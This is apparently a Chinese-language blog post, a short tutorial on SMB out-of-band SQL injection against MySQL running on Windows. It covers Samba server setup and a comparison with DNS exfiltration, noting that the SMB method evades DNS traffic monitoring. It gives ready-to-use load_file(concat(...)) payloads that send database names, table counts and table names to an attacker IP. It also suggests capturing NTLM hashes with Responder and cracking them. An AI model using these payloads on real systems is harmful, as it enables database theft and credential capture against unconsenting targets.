发布于2022年11月6日3年前 需求:secure_file_priv为空,目标系统为windows smb设置如下: 找到 security = user , 旧版本将user 改为share,这里我用的新版本,需要在后面添加: map to guest = Bad User 新设置一个smb smb日志:/var/log/samba smb外带注入与DNS外带注入比较: smb外带注入 可以一次性提交更大长度的字符,经测试长度在120是没有问题的,而dns前缀最多是63个字符。而且对特殊字符的兼容性比较好,目前测试发现 *是不行的,其他还有待fuzz。 smb外带注入不依赖于dns,可以绕过目前流量监测设备对异常域名前缀的捕获,可以直接使用ip,不需要dns请求。 构造sql语句: select load_file(concat("\\\\<IP>\\",(SQL语句),"\\xxx")) 为了方便从log里提取查询的内容,可以构造如下语句 select load_file(concat("\\\\10.23.79.94\\yayi[",database(),"]\\1.txt")); 查询当前数据库里的表 1. 使用limit 2. substring截断 使用limit请先获取总共的表数 select load_file(concat("\\\\10.23.79.94\\yayi[",(select count(table_name) from information_schema.tables where table_schema=database()),"]\\1.txt")); 再用limit逐个查询 select load_file(concat("\\\\10.23.79.94\\yayi[",(select table_name from information_schema.tables where table_schema=database() limit 0,1),"]\\1.txt")); substring截断 截断到120字符串即可 select load_file(concat("\\\\10.23.79.94\\yayi[",(select substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,120)),"]\\1.txt")); 还有另外种方法就是利用smb获取ntlm hash,适用于知道目标一定的凭证。利用responder获取ntlm v2然后爆破 参考链接:http://moonslow.com/article/smb_sql_injection
创建帐户或登录后发表意见